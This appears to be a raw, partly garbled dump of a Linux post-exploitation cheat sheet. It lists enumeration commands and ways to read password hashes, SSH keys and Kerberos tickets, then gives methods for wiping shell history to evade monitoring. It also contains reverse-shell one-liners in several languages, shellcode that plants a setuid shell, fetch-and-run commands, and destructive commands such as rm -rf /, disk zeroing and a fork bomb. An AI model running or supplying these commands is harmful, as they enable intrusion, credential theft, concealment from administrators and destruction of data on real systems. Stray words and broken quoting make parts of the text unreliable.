Linux Google Doc Content #

Linux Google Doc Content

The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.


| Command | Description / Importance | | ——- | ———————— | | uname -a | Prints the kernel version, arch, sometimes distro, … | | ps aux | List all running processes | | top -n 1 -d | Print process, 1 is a number of lines | | id | Your current username, groups | | arch, uname -m | Kernel processor architecture | | w | who is connected, uptime and load avg | | who -a | uptime, runlevel, tty, proceses etc. | | gcc -v | Returns the version of GCC. | | mysql --version | Returns the version of MySQL. | | perl -v | Returns the version of Perl. | | ruby -v | Returns the version of Ruby. | | python --version | Returns the version of Python. | | df -k | mounted fs, size, % use, dev and mount point | | mount | mounted fs | | last -a | Last users logged on | | lastcomm | | | lastlog | | | lastlogin (BSD) | | | getenforce | Get the status of SELinux (Enforcing, Permissive or Disabled) | | dmesg | Informations from the last system boot | | lspci | prints all PCI buses and devices | | lsusb | prints all USB buses and devices/h | | lscpu | prints CPU information | | lshw | | | ex | | | cat /proc/cpuinfo | | | cat /proc/meminfo | | | du -h --max-depth=1 / | (note: can cause heavy disk i/o) | | which nmap | locate a command (ie nmap or nc) | | locate bin/nmap | | | locate bin/nc | | | jps -l | | | java -version | Returns the version of Java. |


hostname -f ip addr show ip ro show ifconfig -a route -n cat /etc/network/interfaces iptables -L -n -v iptables -t nat -L -n -v ip6tables -L -n -v iptables-save netstat -anop netstat -r netstat -nltupw (root with raw sockets) arp -a lsof -nPi to resume it ? “cat /proc/net/*” (more discreet) what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff. User accounts local accounts: cat /etc/passwd password hashes in /etc/shadow on Linux password hashes in /etc/security/passwd on AIX groups in /etc/group (and/or /etc/gshadow on Linux) all accounts: getent passwd should dump local, LDAP, NIS, whatever the system is using same with getent group Samba’s own database: pdbedit -L -w or pdbedit -L -v privileged accounts: cat (above: cat ???) mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases NIS accounts: ypcat passwd - displays NIS password file

Credentials SSH keys, often passwordless: /home//.ssh/id SSH agent:

Kerberos tickets: /tmp/krb5cc_, /tmp/krb5.keytab PGP keys: /home//.gnupg/secring.gpgs

Configs ls -aRl /etc/ | awk ‘$1 ~ /w.$/’ | grep -v lrwx 2>/dev/nullte cat /etc/issue{,.net} cat /etc/master.passwd cat /etc/group cat /etc/hosts cat /etc/crontab cat /etc/sysctl.conf for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) cat /etc/resolv.conf cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.confcda cat /etc/inetd.conf cat /opt/lampp/etc/httpd.conf cat /etc/samba/smb.conf cat /etc/openldap/ldap.conf cat /etc/ldap/ldap.conf cat /etc/exports cat /etc/auto.master cat /etc/auto_master cat /etc/fstab find /etc/sysconfig/ -type f -exec cat {} \;

Determine Distro lsb_release -d # Generic command for all LSB distros /etc/os-release # Generic for distros using “systemd” /etc/issue # Generic but often modified cat /etc/*release /etc/SUSE-release # Novell SUSE /etc/redhat-release, /etc/redhat_version # Red Hat /etc/fedora-release # Fedora /etc/slackware-release, /etc/slackware-version # Slackware /etc/debian_release, /etc/debian_version # Debian /etc/mandrake-release # Mandrake /etc/sun-release # Sun JDS /etc/release # Solaris/Sparc /etc/gentoo-release # Gentoo /etc/arch-release # Arch Linux (file will be empty) arch # OpenBSD; sample: “OpenBSD.amd64” uname -a # often hints at it pretty well

Installed Packages rpm -qa –last | head yum list | grep installed Debian: dpkg -l dpkg -l | grep -i “linux-image” dpkg –get-selections {Free,Net}BSD: pkg_info Solaris: pkginfo Gentoo: # equery must be installed cd /var/db/pkg/ && ls -d / # always works Arch Linux: pacman -Q

Package Sources cat /etc/apt/sources.list ls -l /etc/yum.repos.d/ cat /etc/yum.conf

Finding Important Files ls -dlR / # ls -alR | grep ^d find /var -type d ls -dl find /var -type d ls -dl find /var -type d | grep -v root find /var ! -user root -type d -ls find /var/log -type f -exec ls -la {} \; find / -perm -4000 (find all suid files) ls -alhtr /mnt ls -alhtr /media ls -alhtr /tmp ls -alhtr /home cd /home/; treels /home//.ssh/* find /home -type f -iname ‘.history’ ls -lart /etc/rc.d/ locate tar | grep [.]tar$ # Remember to updatedb before running locate locate tgz | grep [.]tgz$ locate sql | grep [.]sql$ locate settings | grep [.]php$
locate | grep [.]php$ ls /home/
/id* .properties | grep [.]properties # java config files locate .xml | grep [.]xml # java/.net config files find /sbin /usr/sbin /opt /lib echo $PATH | 'sed s/:/ /g' -perm /6000 -ls # find suids locate rhosts Covering Your Tracks Avoiding history filesmys export HISTFILE= or unset HISTFILE This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:

However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram history -c rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive) touch ~/.bash_history (invasive)

history -c (using a space before a command) zsh% unset HISTFILE HISTSIZE tcsh% set history=0 bash$ set +o history ksh$ unset HISTFILE find / -type f -exec {} (forensics nightmare) Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect. In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however. Obtain users' information ls -alh /home/*/ ls -alh /home/*/.ssh/ cat /home/*/.ssh/authorized_keys cat /home/*/.ssh/known_hosts cat /home/*/.*hist* # you can learn a lot from this find /home/*/.vnc /home/*/.subversion -type f grep ^ssh /home/*/.*hist* grep ^telnet `/home/*/.*hist* grep ^mysql /home/*/.*hist* cat /home/*/.viminfo sudo -l # if sudoers is not. readable, this sometimes works per user crontab -l cat /home/*/.mysql_history Escalating Looking for possible opened paths ls -alh /root/ sudo -l cat /etc/sudoers cat /etc/shadow cat /etc/master.passwd # OpenBSD cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* lsof -nPi ls /home/*/.ssh/* Maintaining control Reverse Shell Starting list sourced from: bash -i >& /dev/tcp/ 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). perl -e 'use Socket; $i=""; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);' php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ruby -rsocket -e'"",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 1234 # note need -l on some versions, and many does NOT support -e anymore rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f xterm -display Listener- Xnest :1 Add permission to connect- xhost +victimIP ssh -NR 3333:localhost:22 user@yourhost nc -e /bin/sh 1234 Fun if Windows is present and accessible If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write. TODO: insert details on what to look for Stuff to be sorted ## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN Command Output ps aux List of running processes id List current user and group along with user/group id w Show info about who is logged, what are they are doing who -a Print information about users cat /dev/core > /dev/audio cat /dev/mem > /dev/audio Makes a sound from the memory content. Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver) sudo -p allows the user to define what the password prompt will be (useful for fun customization with aliases or shell scripts) Deleting and Destroying (If it is necessary to leave the machine inaccessible or unusable) Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles. Oh, and you're probably a jerk if you use any of the stuff below. Command Description rm -rf / This will recursively try to delete all files. char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68? "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99? "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7? "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56? "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31? "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69? "\x6e\x2f\x73\x68\x00\x2d\x63\x00? "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; Hex version of rm -rf / How is this supposed to work? mkfs.ext3 /dev/sda Reformat the device mentioned, making recovery of files hard. dd if=/dev/zero of=/dev/sda bs=1M Overwrite disk /dev/sda with zeros Execute a remote script wget http://server/ -O- | sh This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit Fork Bomb :(){:|:&};: The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb. Stolen from: World writable directories Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile, .bash_profile, .bashrc... find / \( -wholename '/home/homedir/*' -prune \) -o \ ( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null World writable files What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be true, it really makes sense to search for world writable files outside your own territory (= your home directory). find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null Logfiles Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as passwords or other important information. find /var/log -type f -perm -0004 2>/dev/null Setuid / setgid files We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness. find / \( -type f -or -type d \) -perm -6000 2>/dev/null